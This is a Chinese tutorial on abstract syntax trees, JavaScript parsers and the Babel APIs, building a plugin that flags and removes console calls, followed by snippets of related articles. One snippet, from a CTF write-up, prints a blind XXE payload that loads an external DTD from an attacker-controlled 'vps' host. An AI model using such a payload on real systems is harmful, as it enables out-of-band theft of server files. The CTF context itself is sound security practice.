玩转ast- 手写babel插件篇

news2024/11/18 14:28:17

AST

抽象语法树是什么?

  • 抽象语法树(Abstract Syntax Tree,AST)是源代码语法结构的一种抽象表示

  • 它以树状的形式表现编程语言的语法结构,树上的每个节点都表示源代码中的一种结构

  • 每个包含type属性的数据结构,都是一个AST节点;

以下是普通函数function ast(){},转换为ast后的格式:

94b90a6aa91ffb3caea01a47b87d8d7f.png

抽象语法树用途有哪些?

  • 代码语法的检查、代码风格的检查、代码的格式化、代码的高亮、代码错误提示、代码自动补全、实现一套代码适配多端运行等等

  • 优化变更代码,改变代码结构使达到想要的结构

webpack、Lint等这些工具的原理都是通过 JavaScript Parser 把源代码转化为一颗抽象语法树(AST),通过操纵这颗树,我们可以精准的定位到声明语句、赋值语句、运算语句等等,实现对代码的分析、优化、变更等操作。

JavaScript解析器

那什么是JavaScript解析器呢?
JavaScript解析器的作用,把JavaScript源码转化为抽象语法树。
浏览器会把js源码通过解析器转换为ast,再进一步转换为字节码或者直接生成机器码,进行渲染和执行。
一般来说,每个js引擎都有自己的抽象语法树格式,Chrome的v8引擎, firfox的Spider Monkey引擎等。

JavaScript解析器通常可以包含四个组成部分。

  • 词法分析器(Lexical Analyser)

  • 语法解析器(Syntax Parser)

  • 字节码生成器(Bytecode generator)

  • 字节码解释器(Bytecode interpreter)

词法分析器(Lexical Analyser)

首先词法分析器会扫描(scanning)代码,将一行行源代码,通过switch case 把源码?“/为一个个小单元,jS代码有哪些语法单元呢?大致有以下这些:

  • 空白:JS中连续的空格、换行、缩进等这些如果不在字符串里,就没有任何实际逻辑意义,所以把连续的空白符直接组合在一起作为一个语法单元。

  • 注释:行注释或块注释,虽然对于人类来说有意义,但是对于计算机来说知道这是个“注释”就行了,并不关心内容,所以直接作为一个不可再拆的语法单元

  • 字符串:对于机器而言,字符串的内容只是会参与计算或展示,里面再细分的内容也是没必要分析的

  • 数字:JS语言里就有16、10、8进制以及科学表达法等数字表达语法,数字也是个具备含义的最小单元

  • 标识符:没有被引号扩起来的连续字符,可包含字母、_、$、及数字(数字不能作为开头)。标识符可能代表一个变量,或者true、false这种内置常量、也可能是if、return、function这种关键字,是哪种语义,分词阶段并不在乎,只要正确切分就好了。

  • 运算符:+、-、*、/、>、<等等

  • 括号:(...)可能表示运算优先级、也可能表示函数调用,分词阶段并不关注是哪种语义,只把“(”或“)”当做一种基本语法单元

就是一个字符一个字符地遍历,然后通过switch case分情况讨论,整个实现方法就是顺序遍历和大量的条件判断。以@babel/parser源码为例:

getTokenFromCode(code) {
  switch (code) {
    case 46:
      this.readToken_dot();
      return;

    case 40:
      ++this.state.pos;
      this.finishToken(10);
      return;

    case 41:
      ++this.state.pos;
      this.finishToken(11);
      return;

    case 59:
      ++this.state.pos;
      this.finishToken(13);
      return;

      // 此处省略...

    case 92:
      this.readWord();
      return;

    default:
      if (isIdentifierStart(code)) {
        this.readWord(code);
        return;
      }

  }

}

readToken_dot() {
  // charCodeAt一个一个向后移
  const next = this.input.charCodeAt(this.state.pos + 1);

  if (next >= 48 && next <= 57) {
    this.readNumber(true);
    return;
  }

  if (next === 46 && this.input.charCodeAt(this.state.pos + 2) === 46) {
    this.state.pos += 3;
    this.finishToken(21);
  } else {
    ++this.state.pos;
    this.finishToken(16);
  }
}

语法解析器

将上一步生成的数组,根据语法规则,转为抽象语法树(Abstract Syntax Tree,简称AST)。
以  const a = 1  为例,词法分析中获得了 const 这样一个 token,并判断这是一个关键字,根据这个 token 的类型,判断这是一个变量声明语句。以@babel/parser源码为例,执行 parseVarStatement 方法。

parseVarStatement(node, kind, allowMissingInitializer = false) {
    const {
      isAmbientContext
    } = this.state;
    const declaration = super.parseVarStatement(node, kind, allowMissingInitializer || isAmbientContext);
    if (!isAmbientContext) return declaration;


    for (const {
      id,
      init
    } of declaration.declarations) {
      if (!init) continue;


      if (kind !== "const" || !!id.typeAnnotation) {
        this.raise(TSErrors.InitializerNotAllowedInAmbientContext, {
          at: init
        });
      } else if (init.type !== "StringLiteral" && init.type !== "BooleanLiteral" && init.type !== "NumericLiteral" && init.type !== "BigIntLiteral" && (init.type !== "TemplateLiteral" || init.expressions.length > 0) && !isPossiblyLiteralEnum(init)) {
        this.raise(TSErrors.ConstInitiailizerMustBeStringOrNumericLiteralOrLiteralEnumReference, {
          at: init
        });
      }
    }


    return declaration;
  }

经过这一步的处理,最终  const a = 1  会变成如下ast结构:
79a762258c6a1f139be7774182ab939f.png

字节码生成器

字节码生成器的作用,是将抽象语法树转为JavaScript引擎可以执行的二进制代码。目前,还没有统一的JavaScript字节码的格式标准,每种JavaScript引擎都有自己的字节码格式。最简单的做法,就是将语义单位翻成对应的二进制命令。

字节码解释器

字节码解释器的作用是读取并执行字节码。

几种常见的解析器

Esprima

这是第一个用JavaScript编写的符合EsTree规范的JavaScript的解析器,后续多个编译器都是受它的影响

acorn

acorn 和 Esprima 很类似,输出的ast都是符合 EsTree 规范的,目前webpack的AST解析器用的就是acorn

@babel/parser(babylon)

babel官方的解析器,最初fork于acorn,后来完全走向了自己的道路,从babylon改名之后,其构建的插件体系非常强大

uglify-js

用于混淆和压缩代码,因为一些原因,uglify-js自己[内部实现了一套AST规范,也正是因为它的AST是自创的,不是标准的ESTree,es6以后新语法的AST,都不支持,所以没有办法压缩最新的es6的代码,如果需要压缩,可以用类似babel这样的工具先转换成ES5。

esbuild

esbuild是用go编写的下一代web打包工具,它拥有目前最快的打包记录和压缩记录,snowpack和vite的也是使用它来做打包工具,为了追求卓越的性能,目前没有将AST进行暴露,也无法修改AST,无法用作解析对应的JavaScript。

babel

下面先介绍下babel相关工具库,以及一些API,了解完这些基础概念后,我们会利用这些工具操作AST来编写一个babel插件。

  • @babel/parser 可以把源码转换成AST

  • @babel/traverse用于对 AST 的遍历,维护了整棵树的状态,并且负责替换、移除和添加节点

  • @babel/generate 可以把AST生成源码,同时生成sourcemap

  • @babel/types 用于 AST 节点的 Lodash 式工具库, 它包含了构造、验证以及变换 AST 节点的方法,对编写处理 AST 逻辑非常有用

  • @babel/template可以简化AST的创建逻辑

  • @babel/code-frame可以打印代码位置

  • @babel/core Babel 的编译器,核心 API 都在这里面,比如常见的 transform、parse,并实现了插件功能

  • babylon Babel 的解析器,以前叫babel parser,是基于acorn扩展而来,扩展了很多语法,可以支持es2020、jsx、typescript等语法

  • babel-types-api :https://babeljs.io/docs/en/babel-types.html

  • Babel 插件手册:https://github.com/brigand/babel-plugin-handbook/blob/master/translations/zh-Hans/README.md#asts

Visitor

  • 访问者模式 Visitor 对于某个对象或者一组对象,不同的访问者,产生的结果不同,执行操作也不同

  • Visitor 的对象定义了用于 AST 中获取具体节点的方法

  • Visitor 上挂载以节点 type 命名的方法,当遍历 AST 的时候,如果匹配上 type,就会执行对应的方法

path

  • node 当前 AST 节点

  • parent 父 AST 节点

  • parentPath 父AST节点的路径

  • scope 作用域

  • get(key) 获取某个属性的 path

  • set(key, node) 设置某个属性

  • is类型(opts) 判断当前节点是否是某个类型

  • find(callback) 从当前节点一直向上找到根节点(包括自己)

  • findParent(callback) 从当前节点一直向上找到根节点(不包括自己)

  • insertBefore(nodes) 在之前插入节点

  • insertAfter(nodes) 在之后插入节点

  • replaceWith(replacement) 用某个节点替换当前节点

  • replaceWithMultiple(nodes) 用多个节点替换当前节点

  • replaceWithSourceString(replacement) 把源代码转成AST节点再替换当前节点

  • remove() 删除当前节点

  • traverse(visitor, state) 遍历当前节点的子节点,第1个参数是节点,第2个参数是用来传递数据的状态

  • skip() 跳过当前节点子节点的遍历

  • stop() 结束所有的遍历

  • getSibling(key)  获取某个下标的兄弟节点

  • getNextSibling()  获取下一个兄弟节点

  • getPrevSibling() 获取上一个兄弟节点

  • getAllPrevSiblings()  获取之前的所有兄弟节点

  • getAllNextSiblings()  获取之后的所有兄弟节点

scope

scope.bindings 当前作用域内声明所有变量
scope.path 生成作用域的节点对应的路径
scope.references 所有的变量引用的路径
getAllBindings() 获取从当前作用域一直到根作用域的集合
getBinding(name) 从当前作用域到根使用域查找变量
getOwnBinding(name) 在当前作用域查找变量
parentHasBinding(name, noGlobals) 从当前父作用域到根使用域查找变量
removeBinding(name) 删除变量
hasBinding(name, noGlobals) 判断是否包含变量
moveBindingTo(name, scope) 把当前作用域的变量移动到其它作用域中
generateUid(name) 生成作用域中的唯一变量名,如果变量名被占用就在前面加下划线
scope.dump() 打印自底向上的 作用域与变量信息到控制台

实现eslint插件

上面这些概念在我们编写babel插件时会用到,接下来我们来实现一个eslint移除console.log()插件吧!
先看下 console.log('a') 的AST长什么样子?
a0e3afed21db1c9a67ebe8565a6bf14b.png
可以看到 console.log('a') 是一个type为 “ExpressionStatement”的节点,所以我们只需要遍历AST,当遇到type=ExpressionStatement的节点删除即可!来一起实现吧~

  1. 引入基础包

var fs = require("fs");
//babel核心模块,里面包含transform方法用来转换源代码。
const core = require('@babel/core');
//用来生成或者判断节点的AST语法树的节点
let types = require("@babel/types");


2. 遍历AST节点,babel插件的语法都是固定的,里面包含visitor,我们只需在visitor里面处理ExpressionStatement即可,

//no-console 禁用 console
const eslintPlugin = ({ fix }) => {
  // babel插件的语法都是固定的,里面包含visitor
    return {
      pre(file) {
        file.set('errors', []);
      },
      // 访问器
      visitor: {
        CallExpression(path, state) {
          const errors = state.file.get('errors');
          const { node } = path
          if (node.callee.object && node.callee.object.name === 'console') {
            errors.push(path.buildCodeFrameError(`代码中不能出现console语句`, Error));
            if (fix) {
              path.parentPath.remove();
            }
          }
        }
      },
      post(file) {
        // console.log(...file.get('errors'));
      }
    }
  };
  1. 完整实现:

var fs = require("fs");
//babel核心模块,里面包含transform方法用来转换源代码。
const core = require('@babel/core');
//用来生成或者判断节点的AST语法树的节点
let types = require("@babel/types");

//no-console 禁用 console
const eslintPlugin = ({ fix }) => {
  // babel插件的语法都是固定的,里面包含visitor
    return {
      pre(file) {
        file.set('errors', []);
      },
      // 访问器
      visitor: {
        CallExpression(path, state) {
          const errors = state.file.get('errors');
          const { node } = path
          if (node.callee.object && node.callee.object.name === 'console') {
            errors.push(path.buildCodeFrameError(`代码中不能出现console语句`, Error));
            if (fix) {
              path.parentPath.remove();
            }
          }
        }
      },
      post(file) {
        // console.log(...file.get('errors'));
      }
    }
  };

core.transformFile("eslint/source.js",{
    plugins: [eslintPlugin({ fix: false })]
}, function(err, result) {
    result; // => { code, map, ast }
    console.log(result.code);
  })

- END -

关于奇舞团

奇舞团是 360 集团最大的大前端团队,代表集团参与 W3C 和 ECMA 会员(TC39)工作。奇舞团非常重视人才培养,有工程师、讲师、翻译官、业务接口人、团队 Leader 等多种发展方向供员工选择,并辅以提供相应的技术力、专业力、通用力、领导力等培训课程。奇舞团以开放和求贤的心态欢迎各种优秀人才关注和加入奇舞团。

47444df99757f15138d728184a4c28a2.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/107199.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

基于Amlogic T972:结合DTS、驱动、Datasheet,解析Pinctrl子系统、GPIO脚的复用方法

文章目录前言一、概念1.1 Pinctrl devices1.2 Pinctrl client devices二、例&#xff08;1&#xff09;GPIOZ_9/10 复用为 i2c2_z2.1 Pin controller devices2.1.1 设备树配置: dts2.1.2 源码&#xff1a;驱动配置2.1.3 Datasheet2.2 Pinctrl client devices2.2.1 设备树配置&a…

华为云桌面,开启云上高效办公之旅!

在传统办公模式中&#xff0c;企业必须自己购买服务器和数据库软件才能进行日常管理&#xff0c;部署繁琐&#xff0c;还需要日常运维。而云桌面办公系统通过将传统的计算机终端与云计算平台有机地结合起来&#xff0c;使企业能够轻松应对各种变化带来的威胁和压力。 其中华为云…

用户与技术双向推动,小游戏赛道迎来新一轮增长机会

2017 年 12 月 28 日&#xff0c;微信小游戏正式上线。“跳一跳”刷爆了微信朋友圈&#xff0c;随后欢乐斗地主、坦克大战、纪念碑谷、拳皇等经典游戏纷纷出现在小游戏平台上。在过去的5年间&#xff0c;各大平台纷纷紧跟微信的步伐&#xff0c;纷纷入局小游戏&#xff0c;当前…

回调函数的基本使用

&#x1f3d6;️作者&#xff1a;malloc不出对象 ⛺专栏&#xff1a;《初识C语言》 &#x1f466;个人简介&#xff1a;一名双非本科院校大二在读的科班编程菜鸟&#xff0c;努力编程只为赶上各位大佬的步伐&#x1f648;&#x1f648; 目录前言一、什么是回调函数二、为什么要…

打开新世界大门,测试人可以用Chrome插件干什么?

什么是Chrome插件 这篇文章所说的Chrome插件&#xff0c;也就是我们通常说的Chrome扩展 (Chrome Extension)&#xff0c;是一个用Web技术开发、用来增强浏览器功能的软件&#xff0c;它其实就是一个由 HTML、CSS、JS、图片等资源组成的一个 .crx 后缀的压缩包。 让我们来看看…

Android12屏下指纹解析

版权声明&#xff1a;本文为梦想全栈程序猿原创文章&#xff0c;转载请附上原文出处链接和本声明 前言&#xff1a;google官方更新了Android12的指纹架构&#xff0c;新添加了关于屏下指纹(屏下光学跟屏下超声波)的支持&#xff0c; 刚好近期要研究这个&#xff0c;想把自己的…

移动硬盘安装ubuntu系统二——启动U盘安装

一. 简介 在之前的一篇文章中记录了使用VMware Workstation给移动硬盘中安装Ubuntu系统过程&#xff0c;本篇文章简单记录使用启动盘安装 Ubuntu 20.04.5系统到移动硬盘。 二. 制作Ubuntu镜像的系统启动盘 按照官网 Install Ubuntu desktop上介绍&#xff0c;在 Windows 上可…

【Transformer】——李宏毅机器学习笔记

Transformer 前言 transformer是一个sequence-to-sequence(seq2seq) 的 model input a sequence&#xff0c;output a sequence. The output length is determined by model. 例如 语音辨识&#xff1a; 那么为什么不能把以上三种模型结合起来&#xff0c;进行语音识别呢&…

代码随想录拓展day3 922. 按奇偶排序数组II;24. 两两交换链表中的节点;234.回文链表;143.重排链表

代码随想录拓展day3 922. 按奇偶排序数组II&#xff1b;24. 两两交换链表中的节点&#xff1b;234.回文链表&#xff1b;35.搜索插入位置 数组和链表的题目。链表的操作几天没看又忘了&#xff0c;果然是要及时复习加反复复习。 922. 按奇偶排序数组II 922. 按奇偶排序数组 …

【小程序】宿主环境之通信模型和运行机制

目录 宿主环境 1. 什么是宿主环境 2. 小程序的宿主环境 通行模型 1. 通信的主体 2. 小程序的通信模型 运行机制 5. 小程序启动的过程 6. 页面渲染的过程 宿主环境 1. 什么是宿主环境 宿主环境&#xff08;host environment&#xff09;指的是程序运行所必须的依赖环…

论文笔记Point·E: A System for Generating 3D Point Clouds from Complex Prompts

之前的文本生成3D模型的方法生成一个模型需要多块GPU跑好几个小时&#xff0c;该文章提出的方法生成一个3D模型只需要单GPU1-2分钟。 该文章生成的3D模型的质量并不是当下最好的&#xff0c;但是生成速度很快&#xff0c;因此在现实中很有意义。 从文本生成3D模型的过程分为三…

Redis 对象

在 Redis底层数据结构介绍1 中我们介绍了Redis用到的所有主要数据结构&#xff0c;比如简单动态字符串&#xff08;SDS&#xff09;、双端链表、字典、压缩列表、整数集合等等。Redis并没有直接使用这些数据结构来实现键值对数据库&#xff0c;而是基于这些数据结构创建了一个对…

第7章 数据库设计和ER模型

第7章 数据库设计和ER模型 考试范围 7.1-7.7 考试题型&#xff1a;数据库设计题 考试内容&#xff1a; 掌握基本ER模型的概念与ER图的设计&#xff1b; 掌握将ER模型转换成关系模式的方法。 1、掌握基本ER模型的概念与ER图的设计 概念 E-R 模型是数据库设计中广泛使用的数…

2022-金盾信安杯

web 有来无回 考察xxe盲注 参考博客&#xff1a;https://blog.csdn.net/m0_49623330/article/details/113641498 <!ENTITY % a SYSTEM "http://vps/test.dtd"> %a; ] > 在自己服务器上编写dtd文件 <!ENTITY % dtd "<!ENTITY % hack SYSTEM ht…

零基础小白如何提高学Python的效率?

Python在所有的编成语言对小白来说是最友好的一种语言&#xff0c;简单、清晰、易学&#xff0c;但是有句话说万事开头难&#xff0c;对于很多连计算机基础都没有的伙伴来说&#xff0c;Python学习的效率极其低&#xff0c;这也导致了一部分放弃学习Python。 为了能够解决大家…

Android MAT的使用

下载与配置 MAT下载地址&#xff1a; Eclipse Memory Analyzer Open Source Project | The Eclipse Foundation JAVA 11下载地址&#xff1a; Java Downloads | Oracle 由于最新版的MAT还需要JAVA 11&#xff0c;所以还需要配置JAVA 11的环境。 JAVA 11环境配置&#xff…

ssm药店药品进销存管理系统idea maven mysql

任何系统都要遵循系统设计的基本流程&#xff0c;本系统也不例外&#xff0c;同样需要经过市场调研&#xff0c;需求分析&#xff0c;概要设计&#xff0c;详细设计&#xff0c;编码&#xff0c;测试这些步骤&#xff0c;基于JSP技术、SSM框架、B/S机构、Mysql数据库设计并实现…

【项目实战:核酸检测平台】第五章 众志诚城

本章目标 完成转运人员、接收人员、数据上传人员端 用到技术&#xff1a; EasyExcel、ElementUIPlus。lodop打印 概述 这一章要完成转运人员、接收人员、数据上传人员端的业务模块&#xff0c;从网上的资料我并没有找到相关的界面&#xff0c;没关系自己脑补就好了&#x…

React DAY05

复习&#xff1a; 1.JSX中的数据绑定 内容绑定&#xff1a;<div>{表达式}</div> 属性绑定&#xff1a;<img src{表达式}/> 样式绑定&#xff1a;<div className{表达式} style{样式对象}></div> 事件绑定&#xff1a;<button onClick{函数} …

跨境电商卖家:减少客户流失的 5 个最佳策略

关键词&#xff1a;跨境电商卖家、客户流失 跨境电商卖家获取新客户的成本可能比保留现有客户高出 25%。 这是有道理的&#xff1a;您可以花费数周时间研究如何让新客户进入您的业务&#xff0c;并投入大量时间和精力来制定完美的潜在客户生成策略&#xff0c;但如果无法留住合…